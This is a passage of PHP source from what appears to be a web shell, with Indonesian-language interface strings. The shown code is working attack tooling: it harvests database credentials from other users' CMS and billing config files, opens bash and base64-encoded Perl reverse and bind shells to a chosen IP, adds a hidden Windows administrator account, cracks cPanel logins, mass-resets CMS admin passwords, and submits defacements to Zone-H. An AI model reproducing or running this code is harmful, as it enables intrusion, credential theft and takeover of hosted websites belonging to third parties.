"); print ""; } } } elseif($toolsname === "upload") { if($_POST['upload']) { if($_POST['uploadtype'] === '1') { if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) { $act = color(1, 2, "Uploaded!")." at ".path().DIRECTORY_SEPARATOR.$_FILES['file']['name'].""; } else { $act = color(1, 1, "Failed to upload file!"); } } elseif($_POST['uploadtype'] === '2') { $root = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES['file']['name']; $web = $_SERVER['HTTP_HOST'].DIRECTORY_SEPARATOR.$_FILES['file']['name']; if(is_writable($_SERVER['DOCUMENT_ROOT'])) { if(@copy($_FILES['file']['tmp_name'], $root)) { $act = color(1, 2, "Uploaded!")." at $root -> $web"; } else { $act = color(1, 1, "Failed to upload file!"); } } else { $act = color(1, 1, "Failed to upload file!"); } } } print "Upload File: $act "; } elseif($toolsname === "jumping") { $i = 0; foreach(getuser() as $user) { $path = "/home/$user/public_html"; if(is_readable($path)) { $status = color(1, 2, "[R]"); if(is_writable($path)) { $status = color(1, 2, "[RW]"); } $i++; print "$status ".color(1, 4, $path).""; if(!function_exists('posix_getpwuid')) print "
"; if(!getdomainname()) print " => ".color(1, 1, "Can't get domain name")."
"; foreach(getdomainname() as $domain) { $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain")); $userdomain = $userdomain->name; if($userdomain === $user) { print " => ".color(1, 2, $domain)."
"; break; } } } } print ($i === 0) ? "" : "

".color(1, 3, "Total ada $i kamar di ".$GLOBALS['SERVERIP'])."

"; } elseif($toolsname === "idxconfig") { if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_config'.")); if(!is_dir(path()."/idx_config/")) { @mkdir('idx_config', 0755); $htaccess = "Options all\nDirectoryIndex smc.htm\nSatisfy Any"; save("idx_config/.htaccess","w", $htaccess); foreach(getuser() as $user) { $user_docroot = "/home/$user/public_html/"; if(is_readable($user_docroot)) { $getconfig = array( "/home/$user/.accesshash" => "WHM-accesshash", "$user_docroot/config/koneksi.php" => "Lokomedia", "$user_docroot/forum/config.php" => "phpBB", "$user_docroot/sites/default/settings.php" => "Drupal", "$user_docroot/config/settings.inc.php" => "PrestaShop", "$user_docroot/app/etc/local.xml" => "Magento", "$user_docroot/admin/config.php" => "OpenCart", "$user_docroot/application/config/database.php" => "Ellislab", "$user_docroot/vb/includes/config.php" => "Vbulletin", "$user_docroot/includes/config.php" => "Vbulletin", "$user_docroot/forum/includes/config.php" => "Vbulletin", "$user_docroot/forums/includes/config.php" => "Vbulletin", "$user_docroot/cc/includes/config.php" => "Vbulletin", "$user_docroot/inc/config.php" => "MyBB", "$user_docroot/includes/configure.php" => "OsCommerce", "$user_docroot/shop/includes/configure.php" => "OsCommerce", "$user_docroot/os/includes/configure.php" => "OsCommerce", "$user_docroot/oscom/includes/configure.php" => "OsCommerce", "$user_docroot/products/includes/configure.php" => "OsCommerce", "$user_docroot/cart/includes/configure.php" => "OsCommerce", "$user_docroot/inc/conf_global.php" => "IPB", "$user_docroot/wp-config.php" => "Wordpress", "$user_docroot/wp/test/wp-config.php" => "Wordpress", "$user_docroot/blog/wp-config.php" => "Wordpress", "$user_docroot/beta/wp-config.php" => "Wordpress", "$user_docroot/portal/wp-config.php" => "Wordpress", "$user_docroot/site/wp-config.php" => "Wordpress", "$user_docroot/wp/wp-config.php" => "Wordpress", "$user_docroot/WP/wp-config.php" => "Wordpress", "$user_docroot/news/wp-config.php" => "Wordpress", "$user_docroot/wordpress/wp-config.php" => "Wordpress", "$user_docroot/test/wp-config.php" => "Wordpress", "$user_docroot/demo/wp-config.php" => "Wordpress", "$user_docroot/home/wp-config.php" => "Wordpress", "$user_docroot/v1/wp-config.php" => "Wordpress", "$user_docroot/v2/wp-config.php" => "Wordpress", "$user_docroot/press/wp-config.php" => "Wordpress", "$user_docroot/new/wp-config.php" => "Wordpress", "$user_docroot/blogs/wp-config.php" => "Wordpress", "$user_docroot/configuration.php" => "Joomla", "$user_docroot/blog/configuration.php" => "Joomla", "$user_docroot/submitticket.php" => "^WHMCS", "$user_docroot/cms/configuration.php" => "Joomla", "$user_docroot/beta/configuration.php" => "Joomla", "$user_docroot/portal/configuration.php" => "Joomla", "$user_docroot/site/configuration.php" => "Joomla", "$user_docroot/main/configuration.php" => "Joomla", "$user_docroot/home/configuration.php" => "Joomla", "$user_docroot/demo/configuration.php" => "Joomla", "$user_docroot/test/configuration.php" => "Joomla", "$user_docroot/v1/configuration.php" => "Joomla", "$user_docroot/v2/configuration.php" => "Joomla", "$user_docroot/joomla/configuration.php" => "Joomla", "$user_docroot/new/configuration.php" => "Joomla", "$user_docroot/WHMCS/submitticket.php" => "WHMCS", "$user_docroot/whmcs1/submitticket.php" => "WHMCS", "$user_docroot/Whmcs/submitticket.php" => "WHMCS", "$user_docroot/whmcs/submitticket.php" => "WHMCS", "$user_docroot/whmcs/submitticket.php" => "WHMCS", "$user_docroot/WHMC/submitticket.php" => "WHMCS", "$user_docroot/Whmc/submitticket.php" => "WHMCS", "$user_docroot/whmc/submitticket.php" => "WHMCS", "$user_docroot/WHM/submitticket.php" => "WHMCS", "$user_docroot/Whm/submitticket.php" => "WHMCS", "$user_docroot/whm/submitticket.php" => "WHMCS", "$user_docroot/HOST/submitticket.php" => "WHMCS", "$user_docroot/Host/submitticket.php" => "WHMCS", "$user_docroot/host/submitticket.php" => "WHMCS", "$user_docroot/SUPPORTES/submitticket.php" => "WHMCS", "$user_docroot/Supportes/submitticket.php" => "WHMCS", "$user_docroot/supportes/submitticket.php" => "WHMCS", "$user_docroot/domains/submitticket.php" => "WHMCS", "$user_docroot/domain/submitticket.php" => "WHMCS", "$user_docroot/Hosting/submitticket.php" => "WHMCS", "$user_docroot/HOSTING/submitticket.php" => "WHMCS", "$user_docroot/hosting/submitticket.php" => "WHMCS", "$user_docroot/CART/submitticket.php" => "WHMCS", "$user_docroot/Cart/submitticket.php" => "WHMCS", "$user_docroot/cart/submitticket.php" => "WHMCS", "$user_docroot/ORDER/submitticket.php" => "WHMCS", "$user_docroot/Order/submitticket.php" => "WHMCS", "$user_docroot/order/submitticket.php" => "WHMCS", "$user_docroot/CLIENT/submitticket.php" => "WHMCS", "$user_docroot/Client/submitticket.php" => "WHMCS", "$user_docroot/client/submitticket.php" => "WHMCS", "$user_docroot/CLIENTAREA/submitticket.php" => "WHMCS", "$user_docroot/Clientarea/submitticket.php" => "WHMCS", "$user_docroot/clientarea/submitticket.php" => "WHMCS", "$user_docroot/SUPPORT/submitticket.php" => "WHMCS", "$user_docroot/Support/submitticket.php" => "WHMCS", "$user_docroot/support/submitticket.php" => "WHMCS", "$user_docroot/BILLING/submitticket.php" => "WHMCS", "$user_docroot/Billing/submitticket.php" => "WHMCS", "$user_docroot/billing/submitticket.php" => "WHMCS", "$user_docroot/BUY/submitticket.php" => "WHMCS", "$user_docroot/Buy/submitticket.php" => "WHMCS", "$user_docroot/buy/submitticket.php" => "WHMCS", "$user_docroot/MANAGE/submitticket.php" => "WHMCS", "$user_docroot/Manage/submitticket.php" => "WHMCS", "$user_docroot/manage/submitticket.php" => "WHMCS", "$user_docroot/CLIENTSUPPORT/submitticket.php" => "WHMCS", "$user_docroot/ClientSupport/submitticket.php" => "WHMCS", "$user_docroot/Clientsupport/submitticket.php" => "WHMCS", "$user_docroot/clientsupport/submitticket.php" => "WHMCS", "$user_docroot/CHECKOUT/submitticket.php" => "WHMCS", "$user_docroot/Checkout/submitticket.php" => "WHMCS", "$user_docroot/checkout/submitticket.php" => "WHMCS", "$user_docroot/BILLINGS/submitticket.php" => "WHMCS", "$user_docroot/Billings/submitticket.php" => "WHMCS", "$user_docroot/billings/submitticket.php" => "WHMCS", "$user_docroot/BASKET/submitticket.php" => "WHMCS", "$user_docroot/Basket/submitticket.php" => "WHMCS", "$user_docroot/basket/submitticket.php" => "WHMCS", "$user_docroot/SECURE/submitticket.php" => "WHMCS", "$user_docroot/Secure/submitticket.php" => "WHMCS", "$user_docroot/secure/submitticket.php" => "WHMCS", "$user_docroot/SALES/submitticket.php" => "WHMCS", "$user_docroot/Sales/submitticket.php" => "WHMCS", "$user_docroot/sales/submitticket.php" => "WHMCS", "$user_docroot/BILL/submitticket.php" => "WHMCS", "$user_docroot/Bill/submitticket.php" => "WHMCS", "$user_docroot/bill/submitticket.php" => "WHMCS", "$user_docroot/PURCHASE/submitticket.php" => "WHMCS", "$user_docroot/Purchase/submitticket.php" => "WHMCS", "$user_docroot/purchase/submitticket.php" => "WHMCS", "$user_docroot/ACCOUNT/submitticket.php" => "WHMCS", "$user_docroot/Account/submitticket.php" => "WHMCS", "$user_docroot/account/submitticket.php" => "WHMCS", "$user_docroot/USER/submitticket.php" => "WHMCS", "$user_docroot/User/submitticket.php" => "WHMCS", "$user_docroot/user/submitticket.php" => "WHMCS", "$user_docroot/CLIENTS/submitticket.php" => "WHMCS", "$user_docroot/Clients/submitticket.php" => "WHMCS", "$user_docroot/clients/submitticket.php" => "WHMCS", "$user_docroot/BILLINGS/submitticket.php" => "WHMCS", "$user_docroot/Billings/submitticket.php" => "WHMCS", "$user_docroot/billings/submitticket.php" => "WHMCS", "$user_docroot/MY/submitticket.php" => "WHMCS", "$user_docroot/My/submitticket.php" => "WHMCS", "$user_docroot/my/submitticket.php" => "WHMCS", "$user_docroot/secure/whm/submitticket.php" => "WHMCS", "$user_docroot/secure/whmcs/submitticket.php" => "WHMCS", "$user_docroot/panel/submitticket.php" => "WHMCS", "$user_docroot/clientes/submitticket.php" => "WHMCS", "$user_docroot/cliente/submitticket.php" => "WHMCS", "$user_docroot/support/order/submitticket.php" => "WHMCS", "$user_docroot/bb-config.php" => "BoxBilling", "$user_docroot/boxbilling/bb-config.php" => "BoxBilling", "$user_docroot/box/bb-config.php" => "BoxBilling", "$user_docroot/host/bb-config.php" => "BoxBilling", "$user_docroot/Host/bb-config.php" => "BoxBilling", "$user_docroot/supportes/bb-config.php" => "BoxBilling", "$user_docroot/support/bb-config.php" => "BoxBilling", "$user_docroot/hosting/bb-config.php" => "BoxBilling", "$user_docroot/cart/bb-config.php" => "BoxBilling", "$user_docroot/order/bb-config.php" => "BoxBilling", "$user_docroot/client/bb-config.php" => "BoxBilling", "$user_docroot/clients/bb-config.php" => "BoxBilling", "$user_docroot/cliente/bb-config.php" => "BoxBilling", "$user_docroot/clientes/bb-config.php" => "BoxBilling", "$user_docroot/billing/bb-config.php" => "BoxBilling", "$user_docroot/billings/bb-config.php" => "BoxBilling", "$user_docroot/my/bb-config.php" => "BoxBilling", "$user_docroot/secure/bb-config.php" => "BoxBilling", "$user_docroot/support/order/bb-config.php" => "BoxBilling", "$user_docroot/includes/dist-configure.php" => "Zencart", "$user_docroot/zencart/includes/dist-configure.php" => "Zencart", "$user_docroot/products/includes/dist-configure.php" => "Zencart", "$user_docroot/cart/includes/dist-configure.php" => "Zencart", "$user_docroot/shop/includes/dist-configure.php" => "Zencart", "$user_docroot/includes/iso4217.php" => "Hostbills", "$user_docroot/hostbills/includes/iso4217.php" => "Hostbills", "$user_docroot/host/includes/iso4217.php" => "Hostbills", "$user_docroot/Host/includes/iso4217.php" => "Hostbills", "$user_docroot/supportes/includes/iso4217.php" => "Hostbills", "$user_docroot/support/includes/iso4217.php" => "Hostbills", "$user_docroot/hosting/includes/iso4217.php" => "Hostbills", "$user_docroot/cart/includes/iso4217.php" => "Hostbills", "$user_docroot/order/includes/iso4217.php" => "Hostbills", "$user_docroot/client/includes/iso4217.php" => "Hostbills", "$user_docroot/clients/includes/iso4217.php" => "Hostbills", "$user_docroot/cliente/includes/iso4217.php" => "Hostbills", "$user_docroot/clientes/includes/iso4217.php" => "Hostbills", "$user_docroot/billing/includes/iso4217.php" => "Hostbills", "$user_docroot/billings/includes/iso4217.php" => "Hostbills", "$user_docroot/my/includes/iso4217.php" => "Hostbills", "$user_docroot/secure/includes/iso4217.php" => "Hostbills", "$user_docroot/support/order/includes/iso4217.php" => "Hostbills" ); foreach($getconfig as $config => $userconfig) { $get = file_get_contents($config); if($get == '') { } else { $fopen = fopen("idx_config/$user-$userconfig.txt", "w"); fputs($fopen, $get); } } } } } print "

"; print ""; print "

"; } elseif($toolsname === "network") { $args = explode(" ", $args); if($args[0] === "bc") { if(empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!")); if(empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!")); if(empty($args[3])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'.")); if($args[3] === "bash") { exe("/bin/bash -i >& /dev/tcp/".$args[1]."/".$args[2]." 0>&1"); } elseif($args[3] === "perl") { $bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; save("/tmp/bc.pl", "w", base64_decode($bc['code'])); $bc['exec'] = exe("perl /tmp/bc.pl ".$args[1]." ".$args[2]." 1>/dev/null 2>&1 &"); sleep(1); print "

".$bc['exec']."\n".exe("ps aux | grep bc.pl")."

"; @unlink("/tmp/bc.pl"); } } elseif($args[0] === "bp") { if(empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!")); if(empty($args[2])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'.")); if($args[2] === "perl") { $bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; save("/tmp/bp.pl", "w", base64_decode($bp['code'])); $bp['exec'] = exe("perl /tmp/bp.pl ".$args[1]." 1>/dev/null 2>&1 &"); sleep(1); print "

".$bp['exec']."\n".exe("ps aux | grep bp.pl")."

"; @unlink("/tmp/bp.pl"); } } else { print color(1, 1, "Unknown '".$args[0]."'"); } } elseif($toolsname === "krdp") { $args = explode(" ", $args); if(OS() !== "Windows") die(color(1, 1, "Just For Windows Server")); if(preg_match("/heker/", exe("net user"))) die(color(1, 1, "[INFO] username 'heker' already exists.")); $add_user = exe("net user heker heker /add"); $add_groups1 = exe("net localgroup Administrators heker /add"); $add_groups2 = exe("net localgroup Administrator heker /add"); $add_groups3 = exe("net localgroup Administrateur heker /add"); print "[ RDP ACCOUNT INFO ]
------------------------------
IP: ".color(1, 2, $GLOBALS['SERVERIP'])."
Username: ".color(1, 2, "heker")."
Password: ".color(1, 2, "heker")."
------------------------------

[ STATUS ]
------------------------------
"; if($add_user) { print "[add user] -> ".color(1, 2, "SUCCESS")."
"; } else { print "[add user] -> ".color(1, 1, "FAILED")."
"; } if($add_groups1) { print "[add localgroup Administrators] -> ".color(1, 2, "SUCCESS")."
"; } elseif($add_groups2) { print "[add localgroup Administrator] -> ".color(1, 2, "SUCCESS")."
"; } elseif($add_groups3) { print "[add localgroup Administrateur] -> ".color(1, 2, "SUCCESS")."
"; } else { print "[add localgroup] -> ".color(1, 1, "FAILED")."
"; } print "------------------------------
"; } } function files_and_folder() { if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists.")); if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable.")); print ''; if(function_exists('opendir')) { if($opendir = opendir(path())) { while(($readdir = readdir($opendir)) !== false) { $dir[] = $readdir; } closedir($opendir); } sort($dir); } else { $dir = scandir(path()); } foreach($dir as $folder) { $dirinfo['path'] = path().DIRECTORY_SEPARATOR.$folder; if(!is_dir($dirinfo['path'])) continue; $dirinfo['type'] = filetype($dirinfo['path']); $dirinfo['time'] = date("F d Y g:i:s", filemtime($dirinfo['path'])); $dirinfo['size'] = "-"; $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path'])); $dirinfo['link'] = ($folder === ".." ? "$folder" : ($folder === "." ? "$folder" : "$folder")); $dirinfo['action']= ($folder === '.' || $folder === '..') ? "newfile | newfolder" : "rename | delete"; if(function_exists('posix_getpwuid')) { $dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path'])); $dirinfo['owner'] = $dirinfo['owner']->name; } else { $dirinfo['owner'] = fileowner($dirinfo['path']); } if(function_exists('posix_getgrgid')) { $dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path'])); $dirinfo['group'] = $dirinfo['group']->name; } else { $dirinfo['group'] = filegroup($dirinfo['path']); } print ""; print ""; print ""; print ""; print ""; print ""; print ""; print ""; print ""; } foreach($dir as $files) { $fileinfo['path'] = path().DIRECTORY_SEPARATOR.$files; if(!is_file($fileinfo['path'])) continue; $fileinfo['type'] = filetype($fileinfo['path']); $fileinfo['time'] = date("F d Y g:i:s", filemtime($fileinfo['path'])); $fileinfo['size'] = filesize($fileinfo['path'])/1024; $fileinfo['size'] = round($fileinfo['size'],3); $fileinfo['size'] = ($fileinfo['size'] > 1024) ? round($fileinfo['size']/1024,2). "MB" : $fileinfo['size']. "KB"; $fileinfo['perms']= writeable($fileinfo['path'], perms($fileinfo['path'])); if(function_exists('posix_getpwuid')) { $fileinfo['owner'] = (object) @posix_getpwuid(fileowner($fileinfo['path'])); $fileinfo['owner'] = $fileinfo['owner']->name; } else { $fileinfo['owner'] = fileowner($fileinfo['path']); } if(function_exists('posix_getgrgid')) { $fileinfo['group'] = (object) @posix_getgrgid(filegroup($fileinfo['path'])); $fileinfo['group'] = $fileinfo['group']->name; } else { $fileinfo['group'] = filegroup($fileinfo['path']); } print ""; print ""; print ""; print ""; print ""; print ""; print ""; print ""; print ""; } print "

Name	Type	Size	Last Modified	Owner/Group	Permission	Action
".$dirinfo['link']."	".$dirinfo['type']."	".$dirinfo['size']."	".$dirinfo['time']."	".$dirinfo['owner'].DIRECTORY_SEPARATOR.$dirinfo['group']."	".$dirinfo['perms']."	".$dirinfo['action']."
$files	".$fileinfo['type']."	".$fileinfo['size']."	".$fileinfo['time']."	".$fileinfo['owner'].DIRECTORY_SEPARATOR.$fileinfo['group']."	".$fileinfo['perms']."	edit \| rename \| delete \| download

"; print "
"; } function action() { tools("upload"); tools("cmd"); print "

"; print ""; print "

[ Home Shell ]
[ Fake Root ]
[ Bypass ]
[ cPanel Crack ]
[ Mass Password Change ]
[ Mass Deface ]
[ Lre ]
[ Zone-H ]

"; print ""; print "

"; if(isset($_GET['do'])) { if($_GET['do'] === "cmd") { if(isset($_POST['cmd'])) { if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) { tools("readfile", $match[1]); } elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) { tools("spawn", $match[1]); } elseif(preg_match("/^symlink$/", $_POST['cmd'], $match)) { tools("symlink"); } elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) { tools("network", $match[1]); } elseif(preg_match("/^krdp$/", $_POST['cmd'])) { tools("krdp"); } elseif(preg_match("/^jumping$/", $_POST['cmd'])) { tools("jumping"); } elseif(preg_match("/^idxconfig$/", $_POST['cmd'])) { tools("idxconfig"); } elseif(preg_match("/^logout$/", $_POST['cmd'])) { unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); print ""; } elseif(preg_match("/^killme$/", $_POST['cmd'])) { unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); @unlink(__FILE__); print ""; } else { print "

".exe($_POST['cmd'])."

"; } } else { files_and_folder(); } } elseif($_GET['do'] === "zoneh") { if(isset($_POST['submit']) AND $_GET['do'] === "zoneh") { $nick = $_POST['nick']; $domain = explode("\r\n", $_POST['url']); print "Defacer Onhold: http://www.zone-h.org/archive/notifier=$nick/published=0
"; print "Defacer Archive: http://www.zone-h.org/archive/notifier=$nick

"; foreach($domain as $no => $url) { $no = ($no+1)."."; $post = curl("http://www.zone-h.org/notify/single", TRUE, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send"); if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $post)) { print "$no $url -> ".color(1, 2, "OK")."
"; } else { print "$no $url -> ".color(1, 1, "ERROR")."
"; } } } else { print ""; } } elseif($_GET['do'] == 'cpanel') { if($_POST['crack']) { $usercp = explode("\r\n", $_POST['user_cp']); $passcp = explode("\r\n", $_POST['pass_cp']); $i = 0; foreach($usercp as $ucp) { foreach($passcp as $pcp) { $connect = mysql_connect('localhost', $ucp, $pcp); if($connect) { if($_SESSION[$ucp] && $_SESSION[$pcp]) { } else { $_SESSION[$ucp] = "1"; $_SESSION[$pcp] = "1"; if($ucp === '' || $pcp === '') { // } else { $i++; print "username (".color(1, 2, $ucp).") password (".color(1, 2, $pcp).") domain ("; if(!function_exists('posix_getpwuid')) print color(1, 1, "Function is Disable by System!"); if(!getdomainname()) print color(1, 1, "Can't get domain name"); foreach(getdomainname() as $domain) { $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain")); $userdomain = $userdomain->name; if($userdomain === $user) { print "".color(1, 2, $domain)."
"; break; } } print (empty($domain)) ? color(1, 1, "Can't get domain name.") : color(1, 2, $domain); print ")
"; } } mysql_close($connect); } } } print ($i === 0) ? "" : "

".color(1, 3, "Sukses Crack $i Cpanel")."

"; } else { print " NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder config ( ex: /home/user/public_html/nama_folder_config )

USER:

PASS:
Grab Password from Link Config:

";

if(isset($_POST['submitlink'])) {
					$getpass = $_POST['linkpass'];
					$get = curl($_POST['linkpass']);
					preg_match_all('/<a href="(.*?).txt">/', $get, $link);
					foreach($link[1] as $link_config) {
						$scandir[] = "$link_config.txt";
					}
				}
				else {
					$getpass = path();
					$scandir = scandir($getpass);
				}

$password = "";

foreach($scandir as $files) {
					$file = "$getpass/$files";
					$config = file_get_contents($file);
					if(preg_match("/WordPress/", $config)) {
						$password .= getValue($config, "DB_PASSWORD', '", "'")."\n";
					} 
					elseif(preg_match("/JConfig|joomla/", $config)) {
						$password .= getValue($config, "password = '", "'")."\n";
					} 
					elseif(preg_match("/Magento|Mage_Core/", $config)) {
						$password .= getValue($config, "<password><![CDATA[", "]]></password>")."\n";
					} 
					elseif(preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
						$password .= getValue($config, 'password = "', '"')."\n";
					} 
					elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
						$password .= getValue($config, "'DB_PASSWORD', '", "'")."\n";
					} 
					elseif(preg_match("/^[client]$/", $config)) {
						preg_match("/password=(.*?)/", $config, $pass);
						if(preg_match('/"/', $pass[1])) {
							$pass[1] = str_replace('"', "", $pass[1]);
							$password .= $pass[1]."\n";
						} 
						else {
							$password .= $pass[1]."\n";
						}
					} 
					elseif(preg_match("/cc_encryption_hash/", $config)) {
						$password .= getValue($config, "db_password = '", "'")."\n";
					}
				}

print $password;

print "

"; } } elseif($_GET['do'] == 'mpc') { if($_POST['hajar']) { if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) { print "username atau password harus lebih dari 6 karakter"; } else { $user_baru = $_POST['user_baru']; $pass_baru = md5($_POST['pass_baru']); $conf = $_POST['config_dir']; if(preg_match("/^http:\/\//", $conf) OR preg_match("/^https:\/\//", $conf)) { $get = curl($conf); preg_match_all('//', $get, $link); foreach($link[1] as $link_config) { $scan_conf[] = "$link_config.txt"; } } else { $scan_conf = scandir($conf); } foreach($scan_conf as $file_conf) { $config = file_get_contents("$conf/$file_conf"); if(preg_match("/JConfig|joomla/",$config)) { $dbhost = getValue($config,"host = '","'"); $dbuser = getValue($config,"user = '","'"); $dbpass = getValue($config,"password = '","'"); $dbname = getValue($config,"db = '","'"); $dbprefix = getValue($config,"dbprefix = '","'"); $prefix = $dbprefix."users"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result['id']; $site = getValue($config,"sitename = '","'"); $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'"); print "Config => ".$file_conf."
"; print "CMS => Joomla
"; if($site == '') { print "Sitename => ".color(1, 1, "Can't get domain name")."
"; } else { print "Sitename => $site
"; } if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."

"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."

"; } mysql_close($conn); } elseif(preg_match("/WordPress/",$config)) { $dbhost = getValue($config,"DB_HOST', '","'"); $dbuser = getValue($config,"DB_USER', '","'"); $dbpass = getValue($config,"DB_PASSWORD', '","'"); $dbname = getValue($config,"DB_NAME', '","'"); $dbprefix = getValue($config,"table_prefix = '","'"); $prefix = $dbprefix."users"; $option = $dbprefix."options"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result[ID]; $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC"); $result2 = mysql_fetch_array($q2); $target = $result2[option_value]; if($target == '') { $url_target = "Login => ".color(1, 1, "Cant't get domain name")."
"; } else { $url_target = "Login => $target/wp-login.php
"; } $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'"); print "Config => ".$file_conf."
"; print "CMS => Wordpress
"; print $url_target; if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."

"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."

"; } mysql_close($conn); } elseif(preg_match("/Magento|Mage_Core/",$config)) { $dbhost = getValue($config,""); $dbuser = getValue($config,""); $dbpass = getValue($config,""); $dbname = getValue($config,""); $dbprefix = getValue($config,""); $prefix = $dbprefix."admin_user"; $option = $dbprefix."core_config_data"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'"); $result2 = mysql_fetch_array($q2); $target = $result2[value]; if($target == '') { $url_target = "Login => ".color(1, 1, "Cant't get domain name")."
"; } else { $url_target = "Login => $target/admin/
"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); print "Config => ".$file_conf."
"; print "CMS => Magento
"; print $url_target; if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."

"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."

"; } mysql_close($conn); } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) { $dbhost = getValue($config,"'DB_HOSTNAME', '","'"); $dbuser = getValue($config,"'DB_USERNAME', '","'"); $dbpass = getValue($config,"'DB_PASSWORD', '","'"); $dbname = getValue($config,"'DB_DATABASE', '","'"); $dbprefix = getValue($config,"'DB_PREFIX', '","'"); $prefix = $dbprefix."user"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $target = getValue($config,"HTTP_SERVER', '","'"); if($target == '') { $url_target = "Login => ".color(1, 1, "Cant't get domain name")."
"; } else { $url_target = "Login => $target
